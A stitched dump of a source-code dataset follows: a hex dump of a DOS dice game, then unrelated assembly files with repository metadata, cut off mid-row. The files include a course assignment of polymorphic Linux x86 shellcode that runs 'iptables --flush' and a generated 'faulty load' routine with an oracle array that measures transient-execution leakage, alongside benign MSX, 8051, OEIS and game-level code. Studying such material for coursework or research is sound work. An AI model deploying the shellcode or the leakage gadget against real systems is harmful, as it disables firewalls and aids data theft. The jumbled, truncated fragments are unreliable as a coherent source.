28BA:9440 6D 6F 20 49 6E 66 6F 2D 00 0A 0D 4D 6F 6E 69 74 mo Info-...Monit
28BA:9450 6F 72 20 6D 6F 64 65 3A 20 20 20 2D 4D 61 69 6E or mode: -Main
28BA:9460 74 61 69 6E 20 74 68 65 20 6F 62 6A 65 63 74 73 tain the objects
28BA:9470 20 61 66 74 65 72 20 64 65 61 64 2D 00 00 05 00 after dead-....
28BA:9480 05 00 00 00 00 00 02 00 05 00 C8 00 FB FF FB FF ................
28BA:9490 00 00 00 00 04 00 02 00 B4 00 03 00 FC FF 00 00 ................
28BA:94A0 00 00 06 00 00 00 A0 00 04 00 02 00 00 00 00 00 ................
28BA:94B0 01 00 01 00 8C 00 02 00 05 00 00 00 00 00 03 00 ................
28BA:94C0 03 00 78 00 00 BD 95 BA 28 C5 95 BA 28 CD 95 BA ..x.....(...(...
28BA:94D0 28 D5 95 BA 28 DD 95 BA 28 E5 95 BA 28 0A 00 69 (...(...(...(..i
28BA:94E0 00 25 00 90 00 F2 A8 BA 28 00 00 00 00 05 00 25 .%......(......%
28BA:94F0 27 05 00 25 27 00 00 00 00 00 00 00 00 85 00 7E '..%'..........~
28BA:9500 00 96 00 8E 00 88 AA BA 28 00 00 00 00 41 00 25 ........(....A.%
28BA:9510 27 41 00 25 27 05 00 00 00 00 00 00 00 72 00 7E 'A.%'........r.~
28BA:9520 00 83 00 8E 00 88 AA BA 28 00 00 00 00 41 00 25 ........(....A.%
28BA:9530 27 41 00 25 27 04 00 00 00 00 00 00 00 5F 00 7E 'A.%'........_.~
28BA:9540 00 70 00 8E 00 88 AA BA 28 00 00 00 00 41 00 25 .p......(....A.%
28BA:9550 27 41 00 25 27 03 00 00 00 00 00 00 00 4C 00 7E 'A.%'........L.~
28BA:9560 00 5D 00 8E 00 88 AA BA 28 00 00 00 00 41 00 25 .]......(....A.%
28BA:9570 27 41 00 25 27 02 00 00 00 00 00 00 00 39 00 7E 'A.%'........9.~
28BA:9580 00 4A 00 8E 00 88 AA BA 28 00 00 00 00 41 00 25 .J......(....A.%
28BA:9590 27 41 00 25 27 01 00 00 00 00 00 00 00 26 00 7E 'A.%'........&.~
28BA:95A0 00 37 00 8E 00 88 AA BA 28 00 00 00 00 41 00 25 .7......(....A.%
28BA:95B0 27 41 00 25 27 00 00 00 00 00 00 00 00 64 5F 31 'A.%'........d_1
28BA:95C0 2E 72 61 77 00 64 5F 32 2E 72 61 77 00 64 5F 33 .raw.d_2.raw.d_3
28BA:95D0 2E 72 61 77 00 64 5F 34 2E 72 61 77 00 64 5F 35 .raw.d_4.raw.d_5
28BA:95E0 2E 72 61 77 00 64 5F 36 2E 72 61 77 00 64 69 63 .raw.d_6.raw.dic
28BA:95F0 65 2E 72 61 77 00 64 67 61 6E 61 2E 72 61 77 00 e.raw.dgana.raw.
28BA:9600 64 67 62 61 6E 63 61 2E 72 61 77 00 63 65 72 6F dgbanca.raw.cero
28BA:9610 2E 72 61 77 00 43 45 52 4F 31 2E 50 53 50 00 62 .raw.CERO1.PSP.b
28BA:9620 61 72 6D 61 6E 2E 70 73 70 00 42 61 72 6D 61 6E arman.psp.Barman
28BA:9630 20 73 70 72 69 74 65 73 00 64 69 63 65 2E 70 73 sprites.dice.ps
28BA:9640 70 00 44 69 63 65 20 73 70 72 69 74 65 73 00 64 p.Dice sprites.d
28BA:9650 61 64 6F 73 62 65 74 2E 70 73 70 00 42 65 74 20 adosbet.psp.Bet
28BA:9660 6C 69 6E 65 00 64 61 64 62 65 74 77 2E 70 73 70 line.dadbetw.psp
28BA:9670 00 57 6F 72 64 20 42 65 74 00 6D 61 72 63 6F 32 .Word Bet.marco2
28BA:9680 36 2E 70 73 70 00 44 69 63 65 20 70 61 6C 6C 65 6.psp.Dice palle
28BA:9690 74 65 00 6D 6F 6E 65 64 61 2E 70 73 70 00 42 4A te.moneda.psp.BJ
28BA:96A0 20 63 6F 69 6E 00 4E 6F 20 6D 65 6D 6F 72 79 20 coin.No memory
28BA:96B0 66 6F 72 20 73 68 61 64 6F 77 20 62 75 66 66 65 for shadow buffe
28BA:96C0 72 00 44 41 44 4F 53 00 64 00 58 02 00 00 20 02 r.DADOS.d.X... .
28BA:96D0 20 02 00 00 01 00 01 00 21 00 00 00 02 00 00 83 .......!.......
28BA:96E0 00 00 00 20 20 20 20 20 20 20 20 20 21 21 21 21 ... !!!!
28BA:96F0 21 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 !
28BA:9700 20 20 20 01 40 40 40 40 40 40 40 40 40 40 40 40 .@@@@@@@@@@@@
28BA:9710 40 40 40 02 02 02 02 02 02 02 02 02 02 40 40 40 @@@..........@@@
28BA:9720 40 40 40 40 14 14 14 14 14 14 04 04 04 04 04 04 @@@@............
28BA:9730 04 04 04 04 04 04 04 04 04 04 04 04 04 04 40 40 ..............@@
28BA:9740 40 40 40 40 18 18 18 18 18 18 08 08 08 08 08 08 @@@@............
28BA:9750 08 08 08 08 08 08 08 08 08 08 08 08 08 08 40 40 ..............@@
28BA:9760 40 40 20 00 00 00 00 00 00 00 00 00 00 00 00 00 @@ .............
28BA:9770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
28BA:97E0 00 00 00 00 61 03 00 08 61 03 00 08 61 03 00 08 ....a...a...a...
28BA:97F0 00 00 09 02 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9800 00 00 F0 97 00 00 0A 02 01 00 00 00 00 00 00 00 ................
28BA:9810 00 00 00 00 00 00 04 98 00 00 02 02 02 00 00 00 ................
28BA:9820 00 00 00 00 00 00 00 00 00 00 18 98 00 00 43 02 ..............C.
28BA:9830 03 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 98 ..............,.
28BA:9840 00 00 42 02 04 00 00 00 00 00 00 00 00 00 00 00 ..B.............
28BA:9850 00 00 40 98 00 00 00 00 00 00 00 00 00 00 00 00 ..@.............
28BA:9860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
28BA:9980 14 00 01 60 02 60 02 60 04 A0 02 A0 00 00 00 00 ...`.`.`........
28BA:9990 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:99A0 00 00 00 00 00 00 00 00 00 00 00 40 FF FF 00 00 ...........@....
28BA:99B0 00 13 02 02 04 05 06 08 08 08 14 15 05 13 0E 16 ................
28BA:99C0 05 11 02 1E 29 2C 28 28 28 28 28 29 2C 28 28 28 ....),(((((),(((
28BA:99D0 05 05 29 17 17 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E ..).............
28BA:99E0 0E 0E 0F 2C 23 02 2C 0F 2A 28 28 28 13 1B 1C 02 ...,#.,.*(((....
28BA:99F0 02 05 0F 02 17 28 2A 13 2A 0E 0E 0E 0E 0E 0E 0E .....(*.*.......
28BA:9A00 23 0E 1C 28 17 23 25 13 28 00 54 4D 50 00 2E 24 #..(.#%.(.TMP..$
28BA:9A10 24 24 00 00 01 00 00 00 00 02 02 02 02 02 02 02 $$..............
28BA:9A20 02 01 01 01 01 01 02 02 02 02 02 02 02 02 02 02 ................
28BA:9A30 02 02 02 02 02 02 02 02 01 02 02 02 02 03 02 02 ................
28BA:9A40 02 02 04 02 02 02 02 02 05 05 05 05 05 05 05 05 ................
28BA:9A50 05 05 02 02 02 02 02 02 02 02 02 02 07 0A 15 0A ................
28BA:9A60 0C 09 02 02 0B 02 14 0E 02 02 02 02 02 08 02 02 ................
28BA:9A70 12 02 02 10 02 10 02 02 02 02 02 06 07 0A 0A 0A ................
28BA:9A80 0C 09 02 02 0D 02 11 0E 13 02 02 0F 02 08 02 02 ................
28BA:9A90 12 02 02 02 02 02 02 02 28 6E 75 6C 6C 29 00 00 ........(null)..
28BA:9AA0 14 14 01 14 15 14 14 14 14 02 00 14 03 04 14 09 ................
28BA:9AB0 05 05 05 05 05 05 05 05 05 14 14 14 14 14 14 14 ................
28BA:9AC0 14 14 14 14 0F 17 0F 08 14 14 14 07 14 16 14 14 ................
28BA:9AD0 14 14 14 14 14 14 14 0D 14 14 14 14 14 14 14 14 ................
28BA:9AE0 14 14 10 0A 0F 0F 0F 08 0A 14 14 06 14 12 0B 0E ................
28BA:9AF0 14 14 11 14 0C 14 14 0D 14 14 14 14 14 14 14 00 ................
28BA:9B00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9B10 00 01 00 43 4F 4D 50 41 51 00 70 72 69 6E 74 20 ...COMPAQ.print
28BA:9B20 73 63 61 6E 66 20 3A 20 66 6C 6F 61 74 69 6E 67 scanf : floating
28BA:9B30 20 70 6F 69 6E 74 20 66 6F 72 6D 61 74 73 20 6E point formats n
28BA:9B40 6F 74 20 6C 69 6E 6B 65 64 0D 0A 00 52 09 00 00 ot linked...R...
28BA:9B50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9B60 00 00 00 00 00 00 00 00 0D 00 00 00 00 00 1F 1C ................
28BA:9B70 1F 1E 1F 1E 1F 1F 1E 1F 1E 1F 00 00 1F 00 3B 00 ..............;.
28BA:9B80 5A 00 78 00 97 00 B5 00 D4 00 F3 00 11 01 30 01 Z.x...........0.
28BA:9B90 4E 01 6D 01 56 AB BA 28 52 AB BA 28 50 46 00 00 N.m.V..(R..(PF..
28BA:9BA0 01 00 54 5A 00 45 53 54 00 45 44 54 00 00 28 1A ..TZ.EST.EDT..(.
28BA:9BB0 2D 1A 2D 1A 2D 1A 00 02 B7 0F 00 00 00 10 49 19 -.-.-.........I.
28BA:9BC0 00 00 01 10 62 1A 00 08 00 10 BD 27 00 00 00 10 ....b......'....
28BA:9BD0 02 29 00 00 01 1E 8D 41 00 08 00 00 00 00 00 00 .).....A........
28BA:9BE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
| 74.69996 | 74 | 0.577222 |
6a5ed329d902f864d35c55bdb6726149d29acf31 | 875 | nasm | Assembly | a6-polymorphic/iptables-poly/iptables-poly.nasm | thombles/slae | 5a646038e5393507b8b0b31f7081cd1264a01d5f | [
"Unlicense"
] | null | null | null | a6-polymorphic/iptables-poly/iptables-poly.nasm | thombles/slae | 5a646038e5393507b8b0b31f7081cd1264a01d5f | [
"Unlicense"
] | null | null | null | a6-polymorphic/iptables-poly/iptables-poly.nasm | thombles/slae | 5a646038e5393507b8b0b31f7081cd1264a01d5f | [
"Unlicense"
] | null | null | null | ; Polymorphic equivalent for
; Linux/x86 iptables --flush
; Original at: http://shell-storm.org/shellcode/files/shellcode-825.php
; 2018-07-14 SLAE-1294 assignment 6
section .text
global _start
_start:
; Let's make esi our zero
xor esi,esi
; Going to use a PUSHAD to set up most of the data
; Do an initial null termination
push esi
; "///sbin/iptables"
mov eax,0x73656c62
mov ecx,0x61747069
mov edx,0x2f6e6962
mov ebx,0x732f2f2f
; parameter "-F"
mov edi,esi
add di,0x462d
; Mass stack push
pushad
; At this point [esp] is -F
; [esp+0x10] is the program path
; Configure argv
push esi
; NB the stack is moving as we push stuff
lea ebx,[esp+0x4]
push ebx
lea ebx,[esp+0x18]
push ebx
; Put top of stack in ecx
xor ecx,ecx
add ecx,esp
; Zero out edx (envp)
xor edx,edx
; Get syscall number into eax
mov eax,edx
add eax,0xb
int 0x80
| 16.826923 | 71 | 0.704 |
a87a137693eb011abd9a3e4419ac288986e889f3 | 1,065 | asm | Assembly | libsrc/target/msx/msxbios/clg.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/msx/msxbios/clg.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/msx/msxbios/clg.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; MSX specific routines
;
; GFX - a small graphics library
; Copyright (C) 2004 Rafael de Oliveira Jannone
;
; extern clg();
;
; Init and clear graphics screen
;
; $Id: clg.asm $
;
SECTION code_clib
PUBLIC clg
PUBLIC _clg
EXTERN msxbios
EXTERN msx_set_mode
EXTERN __tms9918_attribute
EXTERN __tms9918_screen_mode
IF FORmsx
INCLUDE "target/msx/def/msxbios.def"
INCLUDE "target/msx/def/msxbasic.def"
ENDIF
IF FORsvi
INCLUDE "target/svi/def/svibios.def"
INCLUDE "target/svi/def/svibasic.def"
ENDIF
clg:
_clg:
push ix
LD A,$0F ; white
LD (BAKCLR),A
LD (BDRCLR),A
;ld ix,SETBORDER
;call msxbios
LD A,$01 ; black
LD (FORCLR),A
ld ix,INIGRP
call msxbios
ld a,2
ld (__tms9918_screen_mode),a
ld a,$1F ; black on white attributes
ld (__tms9918_attribute),a
ld hl,8192 ; set VRAM attribute area
ld bc,6144
push bc
ld ix,FILVRM
call msxbios
pop bc
xor a
ld h,a ; clear VRAM graphics page
ld l,a
ld ix,FILVRM
call msxbios
pop ix
ret
| 15.895522 | 48 | 0.65446 |
bcb5f3a0e0cd7b679cb1c4afe7d58a4ba9454ad2 | 5,227 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_470.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_470.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_470.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x16611, %rsi
lea addresses_WT_ht+0xa985, %rdi
nop
nop
nop
nop
dec %rbx
mov $90, %rcx
rep movsb
nop
nop
nop
xor %r11, %r11
lea addresses_D_ht+0x15bc5, %r10
clflush (%r10)
nop
xor %rbp, %rbp
movb (%r10), %bl
nop
nop
nop
add $41300, %rbx
lea addresses_WC_ht+0xe05f, %r11
nop
nop
and %rbp, %rbp
vmovups (%r11), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rbx
nop
nop
nop
nop
nop
and $19891, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %rbp
push %rcx
// Store
lea addresses_US+0x17b61, %r14
nop
nop
xor %r11, %r11
mov $0x5152535455565758, %rcx
movq %rcx, (%r14)
nop
sub %rbp, %rbp
// Store
lea addresses_UC+0xf12d, %rbp
clflush (%rbp)
nop
nop
nop
nop
dec %rcx
mov $0x5152535455565758, %r15
movq %r15, %xmm0
movups %xmm0, (%rbp)
sub $12971, %rbp
// Faulty Load
lea addresses_RW+0x3985, %rcx
nop
xor %r14, %r14
vmovups (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbp
lea oracles, %r11
and $0xff, %rbp
shlq $12, %rbp
mov (%r11,%rbp,1), %rbp
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 44.29661 | 2,999 | 0.659652 |
8c634a7b22ede6c85fd42cbba576272c94678b62 | 660 | asm | Assembly | oeis/312/A312658.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/312/A312658.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/312/A312658.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A312658: Coordination sequence Gal.6.249.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Simon Strandgaard
; 1,4,8,14,20,24,28,34,40,44,48,52,56,62,68,72,76,82,88,92,96,100,104,110,116,120,124,130,136,140,144,148,152,158,164,168,172,178,184,188,192,196,200,206,212,216,220,226,232,236
mov $1,$0
seq $1,313506 ; Coordination sequence Gal.5.114.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mov $2,$0
mul $0,11
sub $0,1
mod $0,$1
add $0,1
mov $3,$2
mul $3,3
add $0,$3
| 44 | 182 | 0.730303 |
a9f983e0e6cbc7ba80275d8b721ae14024172d9b | 531 | a51 | Assembly | Lab_6/C_Task_3.a51 | DeeptimaanB/8051_Programs | d65b45d906caac16859129082431fa196ac4db56 | [
"BSD-3-Clause"
] | null | null | null | Lab_6/C_Task_3.a51 | DeeptimaanB/8051_Programs | d65b45d906caac16859129082431fa196ac4db56 | [
"BSD-3-Clause"
] | null | null | null | Lab_6/C_Task_3.a51 | DeeptimaanB/8051_Programs | d65b45d906caac16859129082431fa196ac4db56 | [
"BSD-3-Clause"
] | 1 | 2021-09-19T12:10:50.000Z | 2021-09-19T12:10:50.000Z | ;Write an 8051 assembly language program to implement a counter that counts from 00 to 99 (decimal).
;Send each count value to port P1 continuously. Verify the output using ESA 8051 Microcontroller kit.
ORG 000H
MOV P1, #00H
MOV A,#00H
MOV P1,A
MOV R3,#01H
BACK: ADD A,R3
MOV P1,A
ACALL DELAY
CJNE A,#63H, BACK
MOV A,#00H
SJMP BACK
DELAY:MOV R2,#04H
HERE3:MOV R1,#0FFH
HERE2:MOV R0,#0FFH
HERE1:DJNZ R0,HERE1
DJNZ R1,HERE2
DJNZ R2, HERE3
RET
END ;Deeptimaan Banerjee
| 23.086957 | 102 | 0.66855 |
c7a4367bfe018bd670eb53b20b6b48a77848715d | 105 | asm | Assembly | example/testForFail.asm | LayerXcom/gram | bdd19930edb09d771f7513944908346a35ac3a1d | [
"BSD-3-Clause"
] | 15 | 2018-10-17T10:00:47.000Z | 2021-06-23T03:34:00.000Z | example/testForFail.asm | LayerXcom/gram | bdd19930edb09d771f7513944908346a35ac3a1d | [
"BSD-3-Clause"
] | 13 | 2018-10-15T02:12:16.000Z | 2018-10-18T01:27:44.000Z | example/testForFail.asm | LayerXcom/gram | bdd19930edb09d771f7513944908346a35ac3a1d | [
"BSD-3-Clause"
] | null | null | null | STORE 0 r0
MOV r0 1
READ r1 0
ADD r0 r0 1
STORE r0 r1
CMPA r0 3
XOR r1 r2 5
STORE 1 r0
LOAD r2 0
MOV r3 5 | 10.5 | 11 | 0.704762 |
a774608558c04b293b7e182cb336c20105338367 | 811 | asm | Assembly | oeis/177/A177249.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/177/A177249.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/177/A177249.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A177249: Number of permutations of [n] having no adjacent transpositions, that is, no cycles of the form (i, i+1).
; Submitted by Christian Krause
; 1,1,1,4,19,99,611,4376,35621,324965,3285269,36462924,440840359,5767387591,81184266631,1223531387056,19657686459529,335404201199049,6056933308042409,115417137054004820,2314399674388138811,48717810299204919851,1074106226256896375531,24753161014207821557064,595149970567244613745069,14903502425195323165183789,388086213025645646908523581,10493231254117627789695320476,294198561328319223758377496911,8542251509775375116782642730895,256561743854589572727237659423759,7961956311002052129661150084867424
sub $0,1
mov $1,1
mov $2,1
mov $4,1
lpb $0
mov $3,$0
cmp $3,0
add $0,$3
div $4,$0
sub $0,1
add $2,1
mul $1,$2
mul $4,-1
add $4,$1
lpe
mov $0,$4
| 38.619048 | 498 | 0.806412 |
8c0eaaac20bb32c8521e3f8b2a63b75a3828a931 | 1,923 | asm | Assembly | PRG/levels/Airship/W5A.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | PRG/levels/Airship/W5A.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | PRG/levels/Airship/W5A.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | ; Original address was $AC97
; World 5 airship
.word W5Airship_BossL ; Alternate level layout
.word W5Airship_BossO ; Alternate object layout
.byte LEVEL1_SIZE_08 | LEVEL1_YSTART_0B0
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_80
.byte LEVEL3_TILESET_10 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(10) | LEVEL4_INITACT_AIRSHIPB
.byte LEVEL5_BGM_AIRSHIP | LEVEL5_TIME_300
.byte $0C, $03, $1B, $0D, $04, $1A, $0E, $05, $1D, $0F, $06, $1D, $10, $07, $20, $11
.byte $11, $09, $20, $10, $0C, $03, $03, $0D, $04, $03, $0E, $05, $03, $0F, $06, $03
.byte $50, $07, $0A, $51, $09, $0A, $0D, $09, $04, $0E, $1A, $63, $12, $15, $16, $13
.byte $17, $14, $14, $19, $20, $15, $15, $1B, $20, $10, $16, $1D, $1D, $17, $1F, $30
.byte $0B, $52, $15, $0A, $53, $17, $0A, $54, $19, $0A, $55, $1B, $0A, $56, $1D, $0A
.byte $57, $1F, $0B, $0D, $1B, $01, $0F, $17, $06, $70, $1D, $52, $0D, $2D, $42, $10
.byte $2C, $20, $1B, $11, $2C, $20, $1B, $12, $2C, $15, $13, $2C, $15, $0C, $2D, $01
.byte $30, $22, $00, $70, $28, $53, $15, $24, $0D, $15, $27, $0D, $17, $2B, $70, $0B
.byte $36, $18, $0C, $36, $18, $0D, $35, $19, $0E, $34, $1A, $0F, $33, $20, $14, $65
.byte $37, $45, $06, $06, $38, $0C, $07, $3B, $0D, $6D, $38, $62, $13, $32, $70, $08
.byte $49, $13, $0E, $4E, $11, $0F, $4C, $16, $10, $4C, $20, $2F, $11, $4C, $20, $2E
.byte $12, $41, $30, $39, $52, $41, $0B, $07, $4C, $05, $09, $49, $0A, $09, $4C, $B3
.byte $09, $4F, $D1, $0C, $4E, $0C, $0F, $44, $0D, $09, $50, $45, $0F, $5A, $20, $22
.byte $68, $5C, $46, $0F, $08, $50, $05, $09, $5D, $0C, $0E, $5A, $01, $10, $5E, $0C
.byte $13, $50, $A0, $09, $61, $0C, $09, $65, $0D, $09, $69, $0D, $10, $61, $0C, $10
.byte $65, $0D, $10, $68, $0D, $0B, $74, $1A, $0C, $74, $1A, $0D, $73, $1B, $0E, $72
.byte $1B, $6A, $74, $2A, $29, $78, $91, $E7, $02, $60, $6E, $74, $63, $12, $7B, $71
.byte $0C, $70, $01, $0D, $70, $41, $FF
| 66.310345 | 85 | 0.50754 |
61fb35728251d1d0513ea1d3724f64161b1a1b99 | 103 | asm | Assembly | tests/42.asm | tcort/lmc | ba7225e6cd1007259675322db35a90be9db95acd | [
"0BSD"
] | 2 | 2015-05-20T22:23:30.000Z | 2016-07-25T22:16:43.000Z | tests/42.asm | tcort/lmc | ba7225e6cd1007259675322db35a90be9db95acd | [
"0BSD"
] | null | null | null | tests/42.asm | tcort/lmc | ba7225e6cd1007259675322db35a90be9db95acd | [
"0BSD"
] | null | null | null | LDA CELL // load data from CELL into accumulator
OUT // output value to user
HLT // halt
CELL DAT 42
| 20.6 | 48 | 0.718447 |
7f2aa15574f5b0f7fbe593749be67d087bd9dbc9 | 605 | asm | Assembly | oeis/108/A108262.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
